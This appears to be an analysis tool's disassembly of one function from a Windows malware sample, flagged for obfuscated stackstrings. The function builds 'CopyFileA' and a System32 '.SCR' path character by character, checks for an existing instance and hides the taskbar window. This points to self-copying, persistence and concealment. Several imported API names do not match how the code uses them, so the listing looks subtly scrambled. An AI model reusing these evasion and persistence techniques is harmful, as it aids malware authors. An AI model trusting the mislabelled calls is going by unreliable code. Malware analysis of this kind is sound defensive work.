Function at 0x407e50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x2ec
push ebx
push edi
mov ecx, 0xa
xor eax, eax
lea edi, [esp + 0x44]
xor ebx, ebx
push 0x7f04
push ebx
rep stosd dword es:[edi], eax
mov dword [esp + 0x4c], 2
mov dword [esp + 0x50], ebx
mov dword [esp + 0x54], ebx
mov dword [esp + 0x58], ebx
mov dword [esp + 0x5c], ebx
call dword [sym.imp.user32.dll_Ordinal_444]
push 0x7f8b
push ebx
mov dword [esp + 0x60], eax
call dword [sym.imp.user32.dll_Ordinal_440]
mov dword [esp + 0x68], ebx
mov dword [esp + 0x5c], eax
lea eax, [esp + 0x44]
push eax
call dword [sym.imp.user32.dll_Ordinal_535]
call dword [sym.imp.user32.dll_Ordinal_285]
push ebx
push ebx
push ebx
call dword [sym.imp.kernel32.dll_FlsAlloc]
push eax
call dword [sym.imp.user32.dll_Ordinal_515]
push ebx
push ebx
lea ecx, [esp + 0x74]
push ebx
push ecx
call dword [sym.imp.user32.dll_Ordinal_315]
lea edx, [esp + 0x88]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x88]
push 0x104
push edx
rep stosd dword es:[edi], eax
push ebx
call dword [sym.imp.kernel32.dll_GetCompressedFileSizeTransactedA]
lea eax, [esp + 0x88]
push eax
push ebx
push ebx
call dword [sym.imp.kernel32.dll_ConvertDefaultLocale]
test eax, eax
je 0x407f1e
call dword [sym.imp.kernel32.dll_GetCalendarSupportedDateRange]
cmp eax, 0xb7
jne 0x407f1e
push ebx
call dword [sym.imp.msvcrt.dll_Ordinal_657]
mov al, 0x45
push ebp
lea ecx, [esp + 0xc]
push esi
mov esi, dword [sym.imp.kernel32.dll_GetStringTypeW]
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
lea edx, [esp + 0x1c]
mov al, 0x6c
push ecx
push edx
mov byte [esp + 0x24], 0x4b
mov byte [esp + 0x26], 0x52
mov byte [esp + 0x27], 0x4e
mov byte [esp + 0x29], 0x4c
mov byte [esp + 0x2a], 0x33
mov byte [esp + 0x2b], 0x32
mov byte [esp + 0x2c], 0x2e
mov byte [esp + 0x2d], 0x64
mov byte [esp + 0x2e], al
mov byte [esp + 0x2f], al
mov byte [esp + 0x30], bl
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], 0x6f
mov byte [esp + 0x1a], 0x70
mov byte [esp + 0x1b], 0x79
mov byte [esp + 0x1c], 0x46
mov byte [esp + 0x1d], 0x69
mov byte [esp + 0x1e], al
mov byte [esp + 0x1f], 0x65
mov byte [esp + 0x20], 0x41
mov byte [esp + 0x21], bl
call esi
mov edi, dword [sym.imp.kernel32.dll_GetConsoleNlsMode]
push eax
call edi
push str.GetSystemTime
push str.KERNEL32.dll
mov ebp, eax
call esi
push eax
call edi
push str.wsprintfA
push str.USER32.dll
call esi
push eax
call edi
mov ecx, dword [sym.imp.msvcrt.dll_Ordinal_792]
push ecx
push ecx
push ecx
lea ecx, [esp + 0x1a0]
push str._02d_02d_02d
push ecx
call eax
add esp, 0x14
lea edx, [esp + 0x1f8]
push 0x104
push edx
push ebx
call dword [sym.imp.kernel32.dll_GetCompressedFileSizeTransactedA]
mov cl, 0x57
mov al, 0x5c
mov byte [esp + 0x2f], cl
mov byte [esp + 0x34], cl
mov cl, 0x73
mov dl, 0x53
mov byte [esp + 0x37], cl
mov byte [esp + 0x39], cl
mov cl, 0x74
mov byte [esp + 0x2c], 0x43
mov byte [esp + 0x2d], 0x3a
mov byte [esp + 0x2e], al
mov byte [esp + 0x30], 0x49
mov byte [esp + 0x31], 0x4e
mov byte [esp + 0x32], 0x44
mov byte [esp + 0x33], 0x4f
mov byte [esp + 0x35], dl
mov byte [esp + 0x36], al
mov byte [esp + 0x38], 0x79
mov byte [esp + 0x3a], cl
mov byte [esp + 0x3f], al
mov byte [esp + 0x44], cl
lea eax, [esp + 0x2c]
push ebx
lea ecx, [esp + 0x94]
push eax
push ecx
mov byte [esp + 0x47], 0x65
mov byte [esp + 0x48], 0x6d
mov byte [esp + 0x49], 0x33
mov byte [esp + 0x4a], 0x32
mov byte [esp + 0x4c], 0x75
mov byte [esp + 0x4d], 0x70
mov byte [esp + 0x4e], 0x64
mov byte [esp + 0x4f], 0x61
mov byte [esp + 0x51], 0x65
mov byte [esp + 0x52], 0x2e
mov byte [esp + 0x53], dl
mov byte [esp + 0x54], 0x43
mov byte [esp + 0x55], 0x52
mov byte [esp + 0x56], bl
call ebp
cmp dword [0x4115dc], ebx
jne 0x408116
mov ecx, dword [0x4115d4]
mov eax, 1
cmp ecx, eax
jne 0x4080fd
call fcn.00407c40
push ebx
push ebx
push ebx
push 0x407db0
push ebx
push ebx
call dword [sym.imp.kernel32.dll_CreateBoundaryDescriptorW]
push ebx
push str.Shell_TrayWnd
call dword [sym.imp.user32.dll_Ordinal_228]
mov edi, dword [sym.imp.user32.dll_Ordinal_659]
mov esi, eax
push ebx
push esi
call edi
mov ebx, dword [sym.imp.kernel32.dll_PeekNamedPipe]
push 0x32
call ebx
push 5
push esi
call edi
call fcn.004079f0
jmp 0x4080ed
cmp dword [0x4115d8], eax
jne 0x408127
mov esi, dword [sym.imp.kernel32.dll_PeekNamedPipe]
call fcn.004079f0
push 0x32
call esi
jmp 0x40810b
mov esi, dword [sym.imp.kernel32.dll_PeekNamedPipe]
call fcn.004079f0
push 0x32
call esi
jmp 0x40811c
pop esi
pop ebp
pop edi
xor eax, eax
pop ebx
add esp, 0x2ec
ret 0x10